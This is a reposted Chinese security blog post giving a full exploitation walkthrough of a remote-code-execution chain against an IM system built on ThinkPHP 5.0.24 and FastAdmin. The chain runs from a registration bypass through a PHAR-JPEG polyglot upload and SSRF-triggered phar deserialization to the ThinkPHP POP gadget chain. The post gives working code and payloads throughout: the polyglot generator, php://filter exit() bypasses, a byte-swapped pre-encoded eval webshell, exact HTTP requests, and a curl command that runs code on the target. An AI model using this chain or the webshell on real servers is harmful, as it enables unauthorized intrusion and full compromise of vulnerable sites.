一次案件前台RCE审计

admin 2026-04-29 05:19:43 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析某涉案IM系统(ThinkPHP5.0.24/FastAdmin2.5.1)前台无条件RCE漏洞利用链。通过注册绕过(os=pc)获取权限,利用上传接口校验不足上传PHAR-JPEG混合文件,结合SSRF漏洞触发phar反序列化,最终通过ThinkPOP链实现webshell写入。关键发现包括三个漏洞点的串联利用和Windows/Pivot反序列化链的实战应用。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全,红队,实战经验


0x04 漏洞二:上传校验不足 —— /api/common/upload

application/api/controller/Common.php 的 upload() 方法:

// Common.php line 59-83
$upload= [
    'mimetype'  =>'jpg,png,bmp,jpeg,gif,zip,rar,xls,xlsx',
    'savekey'   =>'/uploads/{year}{mon}{day}/{filemd5}{.suffix}',
    // ...
];

校验逻辑只看后缀名是不是在白名单里。jpg 在白名单中,后缀校验通过。上传后存到 /uploads/YYYYMMDD/{filemd5}.jpg,路径完全可预测。

关键问题:只校验后缀,不检查文件内容。一个PHAR文件,只要后缀是 .jpg,就能直接传上去。后面会利用这一点上传 PHAR-JPEG polyglot。

0x05 漏洞三:注册绕过 —— os=pc

看 User.php 的 register() 方法(line 809),注册流程中会根据 os 参数判断客户端类型:

$os=$this->request->request('os', '');
$client=!empty($os) ?$os : $clients;

当 $client == "pc" 时走PC端流程,不需要手机验证码。直接 POST /api/user/register 带上 os=pc 就能注册账号,用于后续获取上传接口的认证token。

0x06 ThinkPHP 5.0.24 POP链分析

上面找到了SSRF(触发点)、上传(payload投递),下一步就是构造PHAR里的反序列化payload。ThinkPHP 5.0.24有一条经典的POP链,终点是往磁盘写PHP文件。

链的入口:Windows::__destruct

thinkphp/library/think/process/pipes/Windows.php

classWindowsextendsPipes
{
    private$files= [];

    publicfunction__destruct()
    {
        $this->close();
        $this->removeFiles();
    }

    privatefunctionremoveFiles()
    {
        foreach ($this->filesas$filename) {
            if (file_exists($filename)) {  // $filename是对象时触发__toString
                @unlink($filename);
            }
        }
    }
}

$this->files 可控。当 $filename 是一个对象时,file_exists() 会隐式调用 __toString()。把 $this->files 设为 [Pivot对象] 就能跳到下一步。

Pivot::__toString → toArray

think\Model(Pivot的父类)的 __toString() 最终调用 toArray()toArray() 里面有一段处理 $this->append 的逻辑(Model.php line 887-923):

if (!empty($this->append)) {
    foreach ($this->appendas$key=>$name) {
        // ...
        $relation=Loader::parseName($name, 1, false);
        if (method_exists($this, $relation)) {
            $modelRelation=$this->$relation();
            $value=$this->getRelationData($modelRelation);

            if (method_exists($modelRelation, 'getBindAttr')) {
                $bindAttr=$modelRelation->getBindAttr();
                if ($bindAttr) {
                    foreach ($bindAttras$key=>$attr) {
                        $key=is_numeric($key) ?$attr : $key;
                        if (isset($this->data[$key])) {
                            thrownewException('bindattr has exists:' . $key);
                        } else {
                            $item[$key] =$value?$value->getAttr($attr) : null;
                            //                            ^^^^^^^^^^^^^^^^
                            //                    $value是Output对象,没有getAttr方法
                            //                    触发Output::__call('getAttr', ...)
                        }
                    }
                }
            }
        }
    }
}

设 $this->append = ['getError'],Pivot有 getError() 方法(返回 $this->error),$this->error 设为一个 HasOne 关系对象。

getRelationData() 这里有个关键判断(Model.php line 639-651):

protectedfunctiongetRelationData(Relation$modelRelation)
{
    if ($this->parent&&!$modelRelation->isSelfRelation()
        &&get_class($modelRelation->getModel()) ==get_class($this->parent)) {
        $value=$this->parent;  // 直接返回parent
    } else {
        $value=$modelRelation->getRelation();
    }
    return$value;
}

控制 $this->parent 为 Output 对象,HasOne::isSelfRelation() 返回 false,类名匹配条件满足后,$value 就是这个 Output 对象。

然后遍历 bindAttr,调用 $value->getAttr($attr)——但 Output 没有 getAttr 方法,触发 __call

Output::__call → Memcached::write

think\console\Output 的 __call 实现(Output.php line 209-220):

publicfunction__call($method, $args)
{
    if (in_array($method, $this->styles)) {
        array_unshift($args, $method);
        returncall_user_func_array([$this, 'block'], $args);
    }
    // ...
}

$this->styles 设为 ['getAttr'],匹配成功后调用 block('getAttr', 'no')

protectedfunctionblock($style, $message)
{
&nbsp; &nbsp;&nbsp;$this->writeln("<{$style}>{$message}</$style>");
}

输出 <getAttr>no</getAttr>,经过 writeln() → write() → $this->handle->write()

$this->handle 设为 Memcached 对象(think\session\driver\Memcached,不是PHP的ext-memcached扩展):

// think\session\driver\Memcached line 100-103
publicfunctionwrite($sessID,&nbsp;$sessData)
{
&nbsp; &nbsp;&nbsp;return$this->handler->set($this->config['session_name'] .&nbsp;$sessID,&nbsp;$sessData,&nbsp;$this->config['expire']);
}

$this->handler 设为 File 缓存驱动对象,$sessID 就是那个 <getAttr>no</getAttr> 字符串。

File::set —— 终点:写文件

think\cache\driver\File 的 set() 方法(File.php line 141-167):

publicfunctionset($name,&nbsp;$value,&nbsp;$expire=null)
{
&nbsp; &nbsp;&nbsp;$filename=$this->getCacheKey($name,&nbsp;true);
&nbsp; &nbsp;&nbsp;// getCacheKey: $this->options['path'] . md5($name) . '.php'

&nbsp; &nbsp;&nbsp;$data="<?php\n//"&nbsp;.&nbsp;sprintf('%012d',&nbsp;$expire) .&nbsp;"\n exit();?>\n"&nbsp;.&nbsp;serialize($value);
&nbsp; &nbsp;&nbsp;$result=file_put_contents($filename,&nbsp;$data);

&nbsp; &nbsp;&nbsp;if&nbsp;($result) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;isset($first)&nbsp;&&$this->setTagItem($filename); &nbsp;// 第二次写文件
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ...
&nbsp; &nbsp; }
}

$this->options['path'] 完全可控。set() 干了两件事:

  1. 写主缓存文件:文件名 = path + md5($name) + '.php',内容 = <?php exit();?> 前缀 + serialize(true) 即 b:1;
  2. 调用 setTagItem($filename):把主缓存文件的完整路径作为值,写到tag文件里

setTagItem() 在父类 Driver 中(Driver.php line 188-202):

protectedfunctionsetTagItem($name)
{
&nbsp; &nbsp;&nbsp;if&nbsp;($this->tag) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$key='tag_'&nbsp;.&nbsp;md5($this->tag);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->tag=null;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ...
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$value=$name; &nbsp;// $name是主缓存文件的完整路径
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$this->set($key,&nbsp;$value,&nbsp;0); &nbsp;// 再调一次set()
&nbsp; &nbsp; }
}

tag文件的内容 = <?php exit();?> 前缀 + serialize(主缓存文件路径)

问题来了:exit()

不管是主缓存文件还是tag文件,内容开头都有 <?php\n//000000000000\n exit();?>\n。直接HTTP访问这些文件会执行到 exit() 就结束了,后面的 webshell 代码永远跑不到。

所以关键在于:$this->options['path'] 可以设为 php://filter/write=XXX/resource=... 的形式,利用PHP流过滤器在写入时对内容做变换,把 exit() 搞掉。

0x07 绕 exit()

第一次:string.rot13(失败)

思路:ROT13把 <?php exit();?> 变成 <?cuc rkvg();?>,正常情况下不被PHP执行。

path = php://filter/write=string.rot13/resource=/www/wwwroot/admin/public/shell

写入后文件内容变成:

<?cuc
//000000000000
&nbsp;rkvg();?>

但是服务器 short_open_tag=On<?cuc 被PHP解析为短开标签 <? cuc,然后 rkvg() 是个未定义函数,直接 Fatal Error。webshell 代码在后面根本跑不到。

ROT13方案在 short_open_tag=Off 的环境下可行,但这台服务器开了短标签,直接废了。

第二次:strip_tags + base64-decode(失败)

经典的两级过滤器方案:

path = php://filter/write=string.strip_tags|convert.base64-decode/resource=/www/.../PAYLOAD

原理:

  1. string.strip_tags 把 <?php ... ?> 标签整个删掉,包括 exit()
  2. convert.base64-decode 把剩余内容做base64解码,提取出预埋的webshell

构造的 webshell 是 <?php eval($_POST[x]);(24字节,24%3=0,base64不带padding)。base64编码后 PD9waHAgZXZhbCgkX1BPU1RbeF0pOyAg,不含 + 和 =

payload嵌入到path的 resource= 后面,写入时base64解码还原出webshell。

测试结果:主缓存文件正常,tag文件为空。

主缓存文件的值是 serialize(true) = b:1;,不含 =,base64解码正常,写入后HTTP 200,返回1个字节 o(base64残留解码结果),符合预期。

但tag文件的值是主缓存文件的完整路径,类似:

s:151:"php://filter/write=string.strip_tags|convert.base64-decode/resource=/www/wwwroot/admin/public/PD9waHAgZXZhbCgkX1BPU1RbeF0pOyAg<md5>.php";

路径里包含 write= 和 resource= 两个等号。convert.base64-decode 流过滤器是逐块处理的,遇到 = 会当作base64 padding,导致后续数据解码错位,最终输出为空。

在本地PHP 8.5和远程PHP 7上都验证了这个行为。base64方案在tag文件这一步彻底失败。

第三次:convert.iconv.UCS-2LE.UCS-2BE(成功)

换一个完全不同的思路。UCS-2是一种2字节定长编码,UCS-2LE 和 UCS-2BE 之间转换就是把每2个字节互换位置。

path = php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=/www/.../PRE_ENCODED_SHELL

原理很简单:

原始内容: &nbsp; &nbsp; <?php exit();?>
十六进制: &nbsp; &nbsp; 3C 3F 70 68 70 20 65 78 69 74 ...

字节交换后: &nbsp; 3F 3C 68 70 20 70 78 65 74 69 ...
文本: &nbsp; &nbsp; &nbsp; &nbsp; ?<hp pxeti ...

?< 不是PHP开标签(需要 <?),所以 exit() 这行被搅碎了,PHP不会执行。

然后在路径中嵌入”预编码”的webshell——就是把目标webshell做一次字节交换:

目标shell: &nbsp; <?php eval($_POST[x]);die();?>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3C 3F 70 68 70 20 65 76 61 6C ...

预编码: &nbsp; &nbsp; &nbsp;?<hp pvela$(P_SO[T]x;)id(e;)>?
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3F 3C 68 70 20 70 76 65 6C 61 ...

写入时经过 iconv 字节交换,预编码的shell被还原成正确的PHP代码。

完整的写入文件内容示意:

写入前(原始):
<?php\n//000000000000\n exit();?>\n + serialize(...)
&nbsp; &nbsp; &nbsp;~~~~ exit前缀 ~~~~ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;~~路径中包含预编码shell~~

iconv字节交换后:
?<hp p...(乱码,非PHP)... <?php eval($_POST[x]);die();?> ...(乱码)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^^^^^^^^^^^^^^^^^^^^^^^^^^^
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 还原出来的webshell

PHP解析时,前面的乱码不是 <? 开头,被当作普通文本忽略。碰到 <?php eval(...) 时进入PHP模式。die() 确保执行完 eval 后立刻结束,后面的乱码不会被解析。最后的 ?> 关闭PHP块,再后面的内容当HTML处理。

关于 die() 和 ?> 的必要性

第一次尝试 iconv 时,shell 写的是 <?php eval($_POST[x]);die();(没有 ?>)。结果PHP解析器把shell后面的乱码字节也当PHP代码去解析,触发了 Parse Error,整个文件不可执行。

加上 ?> 关闭标签后:

  • <?php eval($_POST[x]);die();?> —— PHP块正确关闭
  • 后续乱码被当作HTML文本,不影响PHP执行
  • die() 阻止PHP输出乱码HTML

字节对齐

UCS-2要求处理的数据长度是偶数。写入的总内容包括:

exit前缀 "<?php\n//000000000000\n exit();?>\n" &nbsp;= 32字节
serialize头 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = 7字节
filter URL前半段 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = 84字节
padding "_" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= 1字节
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 合计 = 124字节(偶数)

预编码shell从第124字节开始,偏移为偶数,交换后能正确还原。总内容192字节,也是偶数。

如果不加那个 _ padding,总长度是奇数,最后一个字节没有配对,整个iconv转换就会出错。

0x08 PHAR-JPEG Polyglot

上传接口只接受图片后缀,而且上传后会调用 getimagesize() 校验。所以PHAR文件需要同时是合法的JPEG。

做法是用GD库生成一个1×1的JPEG,取其二进制内容(去掉末尾2字节EOI标记),再拼接上PHAR的 __HALT_COMPILER() 标记作为stub:

$im=imagecreatetruecolor(1,&nbsp;1);
$jpg_path=tempnam('/tmp',&nbsp;'jpg_');
imagejpeg($im,&nbsp;$jpg_path);
$jpeg=file_get_contents($jpg_path);

$stub=substr($jpeg,&nbsp;0,&nbsp;-2) .&nbsp;'<?php __HALT_COMPILER(); ?>';

$phar=newPhar($phar_path);
$phar->setStub($stub);
$phar->setMetadata($windows); &nbsp;// POP链根对象
$phar->addFromString('test.txt',&nbsp;'test');
$phar->stopBuffering();

生成的文件:

  • getimagesize() 识别为 1×1 image/jpeg(JPEG头完整)
  • PHP PHAR引擎能正确解析(__HALT_COMPILER() 标记存在)
  • 后缀 .jpg 通过上传白名单

0x09 open_basedir的影响

服务器配置了 open_basedir = /www/wwwroot/admin/:/tmp/。这个限制对攻击链的每个环节影响如下:

SSRF读文件:file_get_contents('file:///etc/passwd') 会被拦。但 /www/wwwroot/admin/ 正好包含了整个项目目录,所有源码和框架文件都能读。/tmp/ 可以用来读临时文件。对审计来说完全够用。

PHAR写文件:file_put_contents() 写文件受 open_basedir 限制。但 webroot /www/wwwroot/admin/public/ 就在 /www/wwwroot/admin/ 的子目录下,在允许范围内。如果 webroot 不在 open_basedir 列表里,这条链就断了。

webshell执行: shell落地后,eval() 内能操作的文件也局限在这两个目录。要读 /etc/passwd 之类的需要先绕 open_basedir(chdir+ini_set技巧或者glob://),但这不影响RCE本身。

结论:open_basedir没有挡住这条攻击链。 因为webroot恰好在允许列表内。如果管理员把 open_basedir 设成 /www/wwwroot/admin/runtime/:/tmp/ 之类不包含 public/ 的路径,POP链就写不进webroot了——当然那样网站自己也跑不了。

0x0A SSRF的复合利用

这次审计中,SSRF不只是用来触发PHAR的。整个过程中用了好几次:

1. 读源码辅助审计

通过 file:// 协议把服务端源码拉下来分析。open_basedir 内的文件都能读:

GET /api/image/image?url=file:///www/wwwroot/admin/thinkphp/library/think/cache/driver/File.php

这样拿到了 File::set() 的源码,确认了 exit 前缀的格式和 setTagItem() 的行为。

2. 探测服务端配置

GET /api/image/image?url=file:///www/wwwroot/admin/public/.user.ini

发现 .user.ini 存在且被 chattr +i 保护(不可修改),排除了通过 auto_prepend_file 注入webshell的路径。

3. 触发PHAR反序列化

GET /api/image/image?url=phar:///www/wwwroot/admin/public/uploads/20260427/xxx.jpg/test.txt

file_get_contents('phar://...') 解析PHAR文件,自动反序列化metadata中的对象,触发 __destruct,启动POP链。

4. 验证文件写入

GET /api/image/image?url=file:///www/wwwroot/admin/public/_?<hp pvela...12ac95f...php

通过 file:// 读取刚才写入的shell文件,确认文件是否落地、内容是否正确。

0x0B 完整利用流程

Step 1:注册账号

POST /api/user/register
account=test123&password=test1234&os=pc

os=pc 走PC端流程,跳过手机验证码。拿到token用于后续请求认证。

Step 2:生成PHAR-JPEG

用PHP脚本生成。POP链参数:

$file_cache=new\think\cache\driver\File([
&nbsp; &nbsp;&nbsp;'expire'&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;=>0,
&nbsp; &nbsp;&nbsp;'cache_subdir'&nbsp;&nbsp;=>false,
&nbsp; &nbsp;&nbsp;'prefix'&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;=>'',
&nbsp; &nbsp;&nbsp;'path'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;=>'php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=/www/wwwroot/admin/public/_?<hp pvela$(P_SO[T]x;)id(e;)>?',
&nbsp; &nbsp;&nbsp;'data_compress'=>false,
],&nbsp;'xxx'); &nbsp;// tag名 = 'xxx'

path 分解:

  • php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource= —— 流过滤器声明
  • /www/wwwroot/admin/public/ —— webroot
  • _ —— 对齐padding
  • ?<hp pvela$(P_SO[T]x;)id(e;)>? —— 预编码的webshell

Step 3:上传

POST /api/common/upload
Content-Type: multipart/form-data
file=@phar_rce.jpg (Content-Type: image/jpeg)

→ {"data": {"url": "/uploads/20260427/abc123def456.jpg"}}

Step 4:SSRF触发

GET /api/image/image?url=phar:///www/wwwroot/admin/public/uploads/20260427/abc123def456.jpg/test.txt

返回HTTP 500是正常的——POP链执行过程中抛了异常,但文件已经写入磁盘了。

Step 5:访问webshell

文件名计算:

  • tag名 xxx → md5('xxx') = b165eb...
  • tag key = tag_ + md5('xxx') = tag_b165eb...
  • tag hash = md5('tag_b165eb...') = 12ac95f1498ce51d2d96a249c09c1998

shell在磁盘上的路径:

/www/wwwroot/admin/public/_?<hp pvela$(P_SO[T]x;)id(e;)>?12ac95f1498ce51d2d96a249c09c1998.php

HTTP访问(特殊字符URL编码):

curl-X&nbsp;POST&nbsp;"http://target:1000/_%3F%3Chp%20pvela%24%28P_SO%5BT%5Dx%3B%29id%28e%3B%29%3E%3F12ac95f1498ce51d2d96a249c09c1998.php"&nbsp;\
&nbsp;&nbsp;-d'x=echo php_uname();'

返回:

Linux im163 6.1.56-82.125.amzn2023.x86_64&nbsp;#1&nbsp;SMP ...

RCE成功。

0x0C Shell信息

URL: &nbsp; http://x x x x:1000/_%3F%3Chp%20pvela%24%28P_SO%5BT%5Dx%3B%29id%28e%3B%29%3E%3F12ac95f1498ce51d2d96a249c09c1998.php
方法: &nbsp;POST
参数: &nbsp;x=<PHP代码>
示例: &nbsp;x=echo php_uname();

注意 system() / exec() 等被 disable_functions 禁了,需要另外绕过(LD_PRELOAD / FFI / iconv trick 等),不在本文范围内。

0x0D 踩坑记录

| 问题 | 现象 | 原因 | 解决 | | — | — | — | — | | ROT13写shell无法执行 | 访问shell返回500 Fatal Error | short_open_tag=On<?cuc 被当短标签解析 | 放弃ROT13 | | base64解码tag文件为空 | 主文件正常(1字节),tag文件0字节 | php://filter路径中的 = 号干扰base64流解码 | 放弃base64 | | iconv写shell后Parse Error | 访问shell返回500 | shell没关 ?>,后面乱码被当PHP解析 | 加 ?> 关闭标签 + die() | | UCS-2字节对齐错误 | 文件内容乱码 | 总字节数为奇数,最后一字节没配对 | 加 _ padding凑偶数 | | shell编码后含有 / 或 \0 | 文件名非法 | 某些PHP代码交换后产生路径分隔符或空字节 | 调整shell内容确保预编码安全 |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:秋风的安全之路 秋风 秋风《一次案件前台RCE审计》

评论:0   参与:  0